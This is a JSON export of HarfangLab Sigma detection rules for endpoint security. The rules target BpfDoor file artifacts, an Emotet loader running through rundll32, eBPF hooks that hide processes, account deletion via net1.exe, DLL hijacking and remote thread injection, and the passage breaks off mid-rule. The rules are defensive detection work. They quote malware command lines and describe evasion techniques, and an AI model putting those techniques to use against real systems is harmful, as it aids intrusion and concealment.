HarfangLab\ntags:\n    - attack.execution\n    - attack.t1559\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Trojan.BpfDoor\n    - classification.Linux.Behavior.Persistence\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        Kind: 'access'\n        Permissions: 'write'\n        Path:\n            - '/var/run/haldrund.pid'\n            - '/dev/shm/kdmtmpflush'\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b9ba963c-9b27-4458-84b7-c2de9615e0ce",
+  "rule_name": "Suspicious File Creation Related to BpfDoor",
+  "rule_description": "Detects the creation of files with names linked to the BpfDoor backdoor.\nBpfDoor is a remote access trojan (RAT) used by the Red Menshen threat actor to target Linux systems since at least 2018.\nThose names are related to files that are written by BpfDoor as part of its initialization process.\nIt is recommended to analyze the process responsible for creating this file and to look for other suspicious activities on the host.\n",
+  "rule_creation_date": "2024-02-02",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b9c46a36-6d32-4268-87fb-12db0ddaa32e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.604078Z",
+  "creation_date": "2026-03-23T11:45:34.604081Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.604089Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://paste.cryptolaemus.com/emotet/2020/12/22/emotet-malware-IoCs_12-22-20.html"
+  ],
+  "name": "t1218_011_emotet_december_2020_campaign.yml",
+  "content": "title: Possible Emotet Loader via Rundll32\nid: b9c46a36-6d32-4268-87fb-12db0ddaa32e\ndescription: |\n    Detects a December 2020 Emotet campaign featuring a DLL loaded by rundll32.exe with an export being RunDLL or #1.\n    Emotet is a modular malware variant which is primarily used as a downloader for other malware variants such as TrickBot and IcedID.\n    Emotet first emerged in June 2014, initially targeting the financial sector, and has expanded to multiple verticals over time.\n    It is recommended to analyze actions and network connection performed by RunDLL32 and to analyze the loaded DLL to look for malicious content.\nreferences:\n    - https://paste.cryptolaemus.com/emotet/2020/12/22/emotet-malware-IoCs_12-22-20.html\ndate: 2021/01/14\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.011\n    - attack.s0367\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Loader.Emotet\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_rundll:\n        - Image|endswith: '\\rundll32.exe'\n        - OriginalFileName: 'RUNDLL32.EXE'\n\n    selection_commandline:\n    # loader / downloader\n    # \"C:\\Windows\\system32\\rundll32.exe\" C:\\Users\\XXXXXX\\Y559jsv\\Iewfmy3\\Ppnq9j.dll,#1\n    # final payload\n    # C:\\Windows\\SysWOW64\\rundll32.exe \"C:\\Users\\XXXXXXX\\AppData\\Local\\Fbdo\\mwnjpc.eab\",RunDLL\n        CommandLine:\n            - '*\\appdata\\local\\\\*\",RunDLL*'\n            - '*\\appdata\\local\\\\*,RunDLL*'\n            - '*:\\users\\\\*??????.dll,#1*' # might be a little too \"broad\"\n            # - ',#1'  too generic - function load by ordinal is not Emotet specific\n\n    exclusion_fp:\n        CommandLine|contains:\n        # exclude xxx.dll,RunDLL samples (shouldn't have many)\n        # here we rely on the fact that emotet samples don't have a DLL extension, but a random one\n            - '.dll,RunDLL'\n            - '.dll\",RunDLL'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b9c46a36-6d32-4268-87fb-12db0ddaa32e",
+  "rule_name": "Possible Emotet Loader via Rundll32",
+  "rule_description": "Detects a December 2020 Emotet campaign featuring a DLL loaded by rundll32.exe with an export being RunDLL or #1.\nEmotet is a modular malware variant which is primarily used as a downloader for other malware variants such as TrickBot and IcedID.\nEmotet first emerged in June 2014, initially targeting the financial sector, and has expanded to multiple verticals over time.\nIt is recommended to analyze actions and network connection performed by RunDLL32 and to analyze the loaded DLL to look for malicious content.\n",
+  "rule_creation_date": "2021-01-14",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b9f8a579-5b67-4940-94e9-1d38b637280e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625483Z",
+  "creation_date": "2026-03-23T11:45:34.625485Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625489Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1218/011/"
+  ],
+  "name": "t1218_011_suspicious_rundll32_extension.yml",
+  "content": "title: DLL with Suspicious Extension Loaded via RunDLL32\nid: b9f8a579-5b67-4940-94e9-1d38b637280e\ndescription: |\n    Detects the suspicious loading a DLL via rundll32.exe with an unusual DLL file extension.\n    Adversaries may place DLLs on disk and attempt to mask them as other types of files by changing their file extensions to avoid detection.\n    Following this detection, it is recommended to investigate the process tree of RunDLL32 to look for suspicious processes and analyze the loaded DLL for malicious content.\nreferences:\n    - https://attack.mitre.org/techniques/T1218/011/\ndate: 2025/12/19\nmodified: 2025/12/20\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1218.011\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: library_event\n    product: windows\ndetection:\n    selection:\n        ProcessOriginalFileName: 'RUNDLL32.EXE'\n        LibraryType: 'Native'\n        ImageLoaded|endswith:\n            - '.?'\n            - '.??'\n            - '.???'\n\n    filter_known_extensions:\n        ImageLoaded|endswith:\n            - '.dll'\n            - '.tmp'\n            - '.ocx'\n            - '.cpl'\n            - '.inf'\n            - '.wcx'\n            - '.drv'\n            - '.dll.mui'\n            - '.bpl'\n            - '.exe'\n            - '.sys'\n            - '.scr'\n\n    filter_known_images:\n        ImageLoaded|endswith:\n            - '\\rundll32.exe'\n            - '\\Windows\\System32\\ntoskrnl.exe'\n\n    exclusion_spoolsv:\n        ImageLoaded|startswith: '?:\\Windows\\System32\\spool\\drivers\\'\n\n    exclusion_legitimate_folders:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n            - '?:\\PROGRA~?\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\Syswow64\\'\n            - '?:\\Windows\\installer\\'\n\n    exclusion_ssnetmon:\n        ProcessCommandLine|startswith: 'rundll32 ?:\\Windows\\system32\\spool\\DRIVERS\\x64\\3\\ssnetmon.d64,'\n\n    exclusion_mojo:\n        ProcessCommandLine|contains|all:\n            - '--mojo-platform-channel-handle='\n            - '--no-sandbox '\n            - '--log-file='\n\n    exclusion_seagull:\n        ProcessCommandLine: 'RunDLL32.exe ?:\\WINDOWS\\system32\\spool\\DRIVERS\\x64\\3\\ss#*,DAL_Proxy \\\\\\\\.\\pipe\\Seagull-DriverDLLProxy-????????'\n\n    exclusion_musnotofication:\n        ProcessCommandLine:\n            - 'rundll32.exe ?:\\Windows\\system32\\MusNotification.exe'\n            - 'rundll32.exe ?:\\Windows\\system32\\MusNotification.exe Display'\n            - 'rundll32.exe ?:\\Windows\\system32\\MusNotification.exe LogonUpdateResults'\n        ProcessParentImage: '?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_runtelemetry:\n        ProcessCommandLine|startswith: '?:\\WINDOWS\\system32\\rundll32.exe invagent,RunUpdate -noappraiser '\n        ProcessParentCommandLine: '?:\\Windows\\system32\\rundll32.exe generaltel.dll,RunTelemetry -maintenance'\n\n    exclusion_canon:\n        ProcessCommandLine: '?:\\Windows\\system32\\rundll32.exe fdprint,InvokeTask /ss *#schemas.canon.com#Scanner#*'\n\n    exclusion_legitimate_images:\n        ImageLoaded:\n            # Windhawk\n            - '?:\\ProgramData\\Windhawk\\Engine\\mods\\\\*\\\\*.whl'\n            - '?:\\Users\\\\*\\Downloads\\Windhawk\\AppData\\Engine\\Mods\\\\*\\\\*.whl'\n            # Skel\n            - '?:\\Users\\\\*\\AppData\\Local\\\\*\\SKEL\\\\*.Tls'\n            # Radvision\n            - '?:\\Users\\\\*\\AppData\\Local\\Radvision\\Installer\\Package\\\\*.pkg'\n            # DocRouter\n            - '*\\DocRouter\\RFI*.ndr'\n            # KSC\n            - '*\\Plugins\\ksvla*.windows.plg\\basegui.ppl'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b9f8a579-5b67-4940-94e9-1d38b637280e",
+  "rule_name": "DLL with Suspicious Extension Loaded via RunDLL32",
+  "rule_description": "Detects the suspicious loading a DLL via rundll32.exe with an unusual DLL file extension.\nAdversaries may place DLLs on disk and attempt to mask them as other types of files by changing their file extensions to avoid detection.\nFollowing this detection, it is recommended to investigate the process tree of RunDLL32 to look for suspicious processes and analyze the loaded DLL for malicious content.\n",
+  "rule_creation_date": "2025-12-19",
+  "rule_modified_date": "2025-12-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b9fa1c53-0625-4fe7-8725-9eec7202b1f2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619849Z",
+  "creation_date": "2026-03-23T11:45:34.619851Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619856Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf",
+    "https://github.com/pathtofile/bad-bpf/blob/main/src/pidhide.bpf.c",
+    "https://attack.mitre.org/techniques/T1014/",
+    "https://attack.mitre.org/techniques/T1564/001/"
+  ],
+  "name": "t1564_001_process_hiding_via_ebpf.yml",
+  "content": "title: Process Hiding via eBPF\nid: b9fa1c53-0625-4fe7-8725-9eec7202b1f2\ndescription: |\n    Detects an eBPF hook on getdents64, the directory listing syscall that rootkits often exploit to hide processes from user space tools.\n    By attaching an eBPF hook to getdents64, the attacker can scan the returned linux_dirent64 entries for the target PID’s /proc/<pid> directory,\n    then overwrites the previous directory entry causing the kernel’s readdir to skip the hidden PID.\n    This tricks user space tools (e.g., ls /proc, ps) into never seeing the malicious process.\n    It is recommended to check the process which loaded the Extended BPF program for suspicious activities.\nreferences:\n    - https://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\n    - https://github.com/pathtofile/bad-bpf/blob/main/src/pidhide.bpf.c\n    - https://attack.mitre.org/techniques/T1014/\n    - https://attack.mitre.org/techniques/T1564/001/\ndate: 2026/01/14\nmodified: 2026/01/19\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1014\n    - attack.t1564.001\n    - classification.Linux.Source.Bpf\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    product: linux\n    category: bpf_event\ndetection:\n    selection:\n        Kind: 'ebpf_attach'\n        FunctionHooked|endswith:\n          - 'getdents64'\n          - 'getdents'\n\n    exclusion_bitdefender:\n        Image: '/opt/bitdefender-security-tools/bin/bdsecd'\n\n    condition: selection and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b9fa1c53-0625-4fe7-8725-9eec7202b1f2",
+  "rule_name": "Process Hiding via eBPF",
+  "rule_description": "Detects an eBPF hook on getdents64, the directory listing syscall that rootkits often exploit to hide processes from user space tools.\nBy attaching an eBPF hook to getdents64, the attacker can scan the returned linux_dirent64 entries for the target PID’s /proc/<pid> directory,\nthen overwrites the previous directory entry causing the kernel’s readdir to skip the hidden PID.\nThis tricks user space tools (e.g., ls /proc, ps) into never seeing the malicious process.\nIt is recommended to check the process which loaded the Extended BPF program for suspicious activities.\n",
+  "rule_creation_date": "2026-01-14",
+  "rule_modified_date": "2026-01-19",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1014",
+    "attack.t1564.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ba164938-e1ed-44bd-9bc1-ec80c8e8824a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621927Z",
+  "creation_date": "2026-03-23T11:45:34.621929Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621934Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1564/"
+  ],
+  "name": "t1564_net_delete_account.yml",
+  "content": "title: User Account Deleted via net.exe\nid: ba164938-e1ed-44bd-9bc1-ec80c8e8824a\ndescription: |\n    Detects the deletion of a user account via net1.exe.\n    Attackers may delete their accounts to hide their traces on infected systems.\n    It is recommended to investigate the parent process and which account was deleted for suspicious activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1564/\ndate: 2021/03/15\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1564\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.AccountManipulation\n    - classification.Windows.Behavior.Deletion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_binary:\n        - Image|endswith: '\\net1.exe'\n        # Renamed binaries\n        - OriginalFileName: 'net1.exe'\n    selection_base:\n        CommandLine|contains: 'user'\n    selection_delete:\n        CommandLine|contains:\n            - '/delete'\n            - '/del'\n            - '\\delete'\n            - '\\del'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_altiris:\n        GrandparentCommandLine|contains: '?:\\Program Files\\Altiris\\Dagent\\dagent.exe'\n        CommandLine|contains: '?:\\Windows\\system32\\net1 user /delete'\n\n    exclusion_servicenow:\n        Ancestors: '?:\\Windows\\System32\\net.exe|?:\\Windows\\System32\\cmd.exe|?:\\Windows\\System32\\msiexec.exe|?:\\Windows\\System32\\msiexec.exe|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n        CommandLine:\n            - '?:\\WINDOWS\\system32\\net1 localgroup /delete ServiceNow Users'\n            - '?:\\WINDOWS\\system32\\net1 localgroup Performance Monitor Users servicenow /delete'\n\n    exclusion_bmc:\n        Ancestors|startswith:\n            - '?:\\Windows\\System32\\net.exe|?:\\Windows\\System32\\cmd.exe|?:\\Program Files\\BMC Software\\Client Management\\Client\\bin\\mtxagent.exe|'\n            - '?:\\Windows\\System32\\net.exe|?:\\Windows\\System32\\cmd.exe|?:\\Program Files\\BMC Software\\Client Management\\Client\\bin\\mtxproxy.exe|'\n        CommandLine: '?:\\Windows\\system32\\net1 user support /DELETE'\n\n    exclusion_pdqdeploy:\n        Ancestors: '?:\\Windows\\System32\\net.exe|?:\\Windows\\System32\\cmd.exe|?:\\Windows\\AdminArsenal\\PDQDeployRunner\\service-1\\PDQDeployRunner-1.exe|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n\n    exclusion_ivanti:\n        Ancestors|endswith: '?:\\Program Files (x86)\\Ivanti\\EPM Agent\\Shared Files\\residentAgent.exe|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ba164938-e1ed-44bd-9bc1-ec80c8e8824a",
+  "rule_name": "User Account Deleted via net.exe",
+  "rule_description": "Detects the deletion of a user account via net1.exe.\nAttackers may delete their accounts to hide their traces on infected systems.\nIt is recommended to investigate the parent process and which account was deleted for suspicious activities.\n",
+  "rule_creation_date": "2021-03-15",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ba29e5c4-618e-4bd4-b9cf-5aa4caf00205",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.601622Z",
+  "creation_date": "2026-03-23T11:45:34.601625Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601633Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_seanalyzertool.yml",
+  "content": "title: DLL Hijacking via seanalyzertool.exe\nid: ba29e5c4-618e-4bd4-b9cf-5aa4caf00205\ndescription: |\n    Detects potential Windows DLL Hijacking via seanalyzertool.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2023/09/05\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'SeAnalyzerToolSA.exe'\n        ImageLoaded|endswith: '\\msimg32.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\NETGATE\\'\n            - '?:\\Program Files (x86)\\NETGATE\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\NETGATE\\'\n            - '?:\\Program Files (x86)\\NETGATE\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Netgate Technologies s.r.o.'\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ba29e5c4-618e-4bd4-b9cf-5aa4caf00205",
+  "rule_name": "DLL Hijacking via seanalyzertool.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via seanalyzertool.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2023-09-05",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ba42bfa6-260e-4950-bcfc-e32a0708078d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087688Z",
+  "creation_date": "2026-03-23T11:45:34.087690Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087694Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_remote_thread_rundll32.yml",
+  "content": "title: Remote Thread Created inside RunDLL32 Process\nid: ba42bfa6-260e-4950-bcfc-e32a0708078d\ndescription: |\n    Detects the creation of a remote thread inside RunDLL32.\n    Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.\n    RunDLL32 is a target of choice for attackers to hide their malicious activity inside a legitimate process.\n    The Cobalt Strike Framework uses this technique to try evade detection.\n    It is recommended to investigate the process performing the remote injection to ensure its legitimacy and origin, as well as to look for other suspicious actions on the host.\nreferences:\n    - https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2023/04/06\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055\n    - classification.Windows.Source.Thread\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.MemoryExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: remote_thread\ndetection:\n    selection:\n        TargetImage|endswith: '\\rundll32.exe'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        ProcessSigned: 'true'\n\n    exclusion_wmi:\n        ProcessOriginalFileName: 'WmiPrvSE.exe'\n\n    exclusion_svchost:\n        ProcessOriginalFileName: 'svchost.exe'\n\n    exclusion_msmpeng:\n        ProcessOriginalFileName: 'MsMpEng.exe'\n\n    exclusion_windhawk:\n        ProcessImage|endswith: '\\windhawk.exe'\n\n    exclusion_edpa:\n        ProcessImage|endswith:\n            - '\\Manufacturer\\Endpoint\\edpa.exe'\n            - '\\Manufacturer\\Endpoint Agent\\edpa.exe'\n\n    exclusion_ivanti:\n        ProcessImage:\n            - '*\\Ivanti\\Endpoint\\EPSecurityService.exe'\n            - '*\\Ivanti\\Endpoint\\installer\\installer.exe'\n            - '*\\Ivanti\\Ivanti Cloud Agent\\UWM_AC_ENGINE.WIN64\\AMAgentAssist.exe'\n            - '?:\\Program Files (x86)\\Ivanti\\EPM Agent\\Inventory\\LDUrlMonInject64.exe'\n            - '?:\\Program Files (x86)\\AppSense\\Application Manager\\Agent\\AMDllInjectionAssist.exe'\n\n    exclusion_fshoster:\n        ProcessImage|endswith:\n            - '\\fshoster64.exe'\n            - '\\fshoster32.exe'\n\n    exclusion_warsaw:\n        ProcessImage|endswith:\n            - '\\Topaz OFD\\Warsaw\\core.exe'\n            - '?:\\Program Files\\Diebold\\Warsaw\\core.exe'\n\n    exclusion_flexservice:\n        ProcessImage|endswith: '\\Immidio\\Flex Profiles\\FlexService.exe'\n\n    exclusion_bitdefender:\n        ProcessImage|endswith:\n            - '\\Bitdefender\\Endpoint Security\\EPSecurityService.exe'\n            - '\\Bitdefender\\Bitdefender Security\\bdservicehost.exe'\n\n    exclusion_winrr:\n        ProcessImage|endswith: '\\Rush Royale PC\\WinRR.exe'\n\n    exclusion_citrix:\n        ProcessImage|endswith:\n            - '\\Citrix\\ICA Client\\appprotection.exe'\n            - '\\Citrix\\ICA Client\\Ctx64Injector64.exe'\n            - '\\Citrix\\ICA Client\\entryprotect.exe'\n\n    exclusion_dxhook:\n        